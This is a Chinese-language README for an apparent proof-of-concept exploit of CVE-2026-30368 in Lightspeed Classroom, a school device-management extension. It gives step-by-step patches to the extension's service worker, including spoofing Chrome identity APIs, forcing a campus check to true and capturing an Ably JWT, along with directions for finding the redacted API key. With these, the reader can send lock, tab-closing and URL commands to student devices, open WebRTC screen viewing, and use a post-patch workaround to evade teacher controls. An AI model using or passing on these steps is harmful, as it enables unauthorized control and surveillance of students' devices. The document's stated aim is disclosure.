
针对 CVE-2026-30368 的概念验证漏洞利用,演示了 Lightspeed Classroom 中的身份验证绕过,从而通过 Ably 频道控制学生设备。
[!IMPORTANT]
此漏洞已被修补,现在需要凭据,请使用变通方案对您自己执行操作。
CVE-2026-30368 允许攻击者通过 Lightspeed Classroom 管理软件中的弱身份验证漏洞控制学生设备。 该 POC(poc.js)在全局上下文中执行 LS Classroom 扩展中的 service worker。该 worker 还会运行 classroom.wasm 以执行某些功能。wasm-loader.js 加载 worker 并提取由 classroom.wasm 生成的 JWT 令牌。提取后,它会终止 worker,然后将令牌发送到 Lightspeed API 以获取用于连接到目标 Ably 频道的令牌。从那里,攻击者可以向学生设备发送命令。命令列表及更多详细信息请参阅此处的完整文章。
这些文件不能包含在此仓库中,原因如下:
为避免问题,我建议使用版本 5.1.2.1763770643。如果您需要适配新版本的帮助,请自行解决。
您可以从 Lightspeed 扩展源代码中获取 worker.js 和 classroom.wasm 文件。您可以使用学校账户在个人设备上登录 Chrome,然后从 Chrome 配置文件目录中的扩展文件夹中提取扩展源代码。您也可以通过更新 URL 手动下载 crx 文件。
此漏洞利用的较简单方法是先从扩展源代码中获取 classroom.wasm,然后将其粘贴到与 wasm-only.js 相同的目录中,并运行:
$ node wasm-only.js
在提示时输入电子邮件和客户 ID。这将连接到 Ably 频道。转到第 815 行并取消注释您想要发送的消息。鸣谢:ktibow(Discord)
获得文件后,只需将它们添加到克隆的仓库目录中。您需要进入 wasm-loader.js 中的 getManifest() 函数并将您的扩展 manifest 粘贴到那里。您还需要在 wasm-loader.js 顶部添加扩展 ID。
复制一份 worker.js,文件名可自行命名。您稍后会用到它。您需要通过 webcrack 运行 worker.js 以进行反混淆和反压缩,从而执行必要的修改。执行此操作时,请确保仅选择“Deobfuscate”和“Unminify”选项。在将结果粘贴回编辑器之前,建议关闭所有 LSP 服务器,因为它们会删除随机变量并使 worker 在后续阶段崩溃(说的就是你,vtsls...)
由于 service worker 将在 node.js 上运行(请确保您已安装),因此需要对其进行一些修补才能正常运行。还需要添加 JWT 提取逻辑。 在 worker.js 的最顶部添加以下 2 个函数:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/HEAD/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
这些函数将在我们修改 wasm go 运行时以拦截和修改 LS classroom wasm 使用的值时使用。
请确保将 YOUR_EXTENSION_ID 替换为您的扩展 ID,并将 worker_copy.js 替换为您之前制作的原始 worker.js 副本的文件名。
接下来,在主箭头函数内部((() => { 之后)添加这 2 个函数:
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
接下来,您需要将 IsClassroomActive 硬编码为 true,以便您可以在校园网络之外执行此操作。只需将函数改为始终返回 true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
然后,搜索 syscall/js.valueCall 以找到需要修改的 valueCall 函数。该函数负责将 JS 值告知 wasm。通过修改此函数而被拦截和更改的两个值是 worker.js 的路径(它被更改为您的 worker 副本,以便哈希检查通过)以及 chrome.identity.getProfileUserInfo.toString 的值(被更改为 native code),以便 WASM 相信它可以被信任,而实际上它已在文件顶部被修改。为此,您需要使用我们在顶部定义的 valueCallBefore 和 valueCallAfter 函数。按如下方式修改 valueCall 函数(变量名可能不同,但结构相同):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
快完成了。最后,您需要添加代码来捕获 JWT。搜索 echoMessages: false,您将找到包含发送到 Ably 的标头列表的变量。在该行正下方,添加此行(变量名很可能不准确,您可以在 authHeaders 中找到访问 ablyJwt 的相同行):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
这将 JWT 分配给全局作用域中的一个变量,以便 wasm-loader.js(运行 service worker 的“宿主程序”)可以访问它。至此,worker 的修改完成。请确保您的所有 LSP 仍然处于关闭状态。如果它们重新打开,您稍后可能会遇到未定义变量的问题。
转到 poc.js 文件。在顶部,添加您希望测试的账户的电子邮件和客户 ID(最好是您自己的账户)。使用非您自己的客户 ID 将会抛出错误,因为您需要拥有与该客户 ID 对应的正确 worker.js 和 classroom.wasm 文件。
由于法律原因,poc.js 中的 Ably API 密钥已被编辑,因此您需要自行查找。在 worker.js 中查找它,它以 G52 开头。您的客户 ID 也可以在同一个地方找到,搜索 CUSTOMER_ID: 或查找格式为 XX-XXXX-XXXX 的字符串。最后 3 位数字通常为 000。
关于用户代理,您可以将其设置为任何您想要的值,但 AWS 可能会阻止与自动化工具关联的某些 UA。
完成所有这些操作后,转到文件底部,您可以使用 publish 添加要发送到用户 Ably 频道的消息。消息可以包括 lock、closeTab、url 等。
Lightspeed 使用的 Ably 消息完整列表请参见此处。
使用 node.js、deno 或其他运行时执行该文件。Bun 不适用。
$ node poc.js
欢迎扩展此 POC 并将其制作成 CLI 或其他形式。
如果有人想知道如何使用 Lightspeed Classroom 的 WebRTC(查看屏幕)功能,这是可以实现的,但比较棘手。您必须满足以下条件才能使其正常工作:
假设您已连接到客户端的 Ably 频道,可以使用以下代码发起 WebRTC 连接:
channel.publish('request_rtc', {
sessionId: sessId,
role: 'viewer',
want: ['video']
});
// rtc setup
const pc = new RTCPeerConnection();
const pendingIce = [];
pc.onicecandidate = (event) => {
if (event.candidate?.candidate) {
channel.publish('answer_rtc_ice', {
sessionId: sessId,
ice: event.candidate
});
}
};
channel.subscribe(async (msg) => {
if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
for (const ice of pendingIce) await pc.addIceCandidate(ice);
pendingIce.length = 0;
const answer = await pc.createAnswer();
await pc.setLocalDescription(answer);
channel.publish('answer_rtc', { sessionId: sessId, answer });
}
if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
const ice = msg.data.ice;
if (!ice?.candidate) return;
if (pc.remoteDescription) await pc.addIceCandidate(ice);
else pendingIce.push(ice);
}
});
如何查看视频由您自行解决(任何具有基本 HTML 知识并稍加搜索/AI 辅助的人都应该能做到),但上述代码建立了连接。不幸的是,流将是 1 FPS,但这是 LS classroom 本身的限制。
再次强调,我无法保证这始终有效,因为它太不稳定了,但如果您能使其稳定运行,请告诉我!
运行 pnpm i,将 classroom.wasm 放在仓库根目录,然后运行 pnpm dev 以启动 Web 查看器。
[!IMPORTANT]
本节需要凭据和个人设备
4 月 23 日,Lightspeed 开始推出针对此 CVE 的修复。它添加了一个新扩展 Lightspeed Identity Agent(内部代号:LS One),该扩展为 Classroom 提供 Google OAuth 令牌以验证您的身份。此变通方案允许您对自己或任何您拥有凭据的其他人执行操作。此方案仅在 Linux 上测试过。
首先,安装稳定的 Google Chrome 并使用学校账户登录。确保已安装 Lightspeed Identity Agent 扩展。关闭 Chrome。接下来,将 Chrome 用户数据目录复制到临时位置。例如,在 Linux 上:cp -r ~/.config/google-chrome /tmp/chromedata。将您的 classroom.wasm 文件放入仓库目录。填写 oauth-poc.js 顶部的值。打开一个终端(您稍后会用到它,但现在就打开)。使用以下命令行标志重新启动 Chrome:
$ chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chromedata
这将启用远程调试。等待 15 秒让 service worker 初始化。 执行 oauth-poc.js:
$ node oauth-poc.js
如果您收到消息说找不到 LS One 扩展,则可能是您在启动 Chrome 后没有等待 15 秒,等待时间过长导致 service worker 进入休眠状态,或者您没有在 oauth-poc.js 顶部填写扩展 ID。
如果您在连接到 Ably 时收到 403 错误,请检查您是否拥有正确的 classroom.wasm、正确的电子邮件,并尝试切换到学校 IP。
如果您没有收到任何错误,恭喜!只需让脚本保持运行,您将免疫被教师锁定、标签页关闭和屏幕查看(实验性)。
请不要将此 POC 用于破坏性目的。我对您可能犯下的任何恶意行为概不负责。如您所知,Lightspeed 已经对此问题拖延了 3 个月,我不指望在一周内(或更久?...)看到修复。希望这能让他们认识到情况的真实严重性并更快地修复。最后,如果您恰好是学校的 IT 人员,请将此内容发送给您的上级 🙂
♥️,truekas 2026 年 4 月 22 日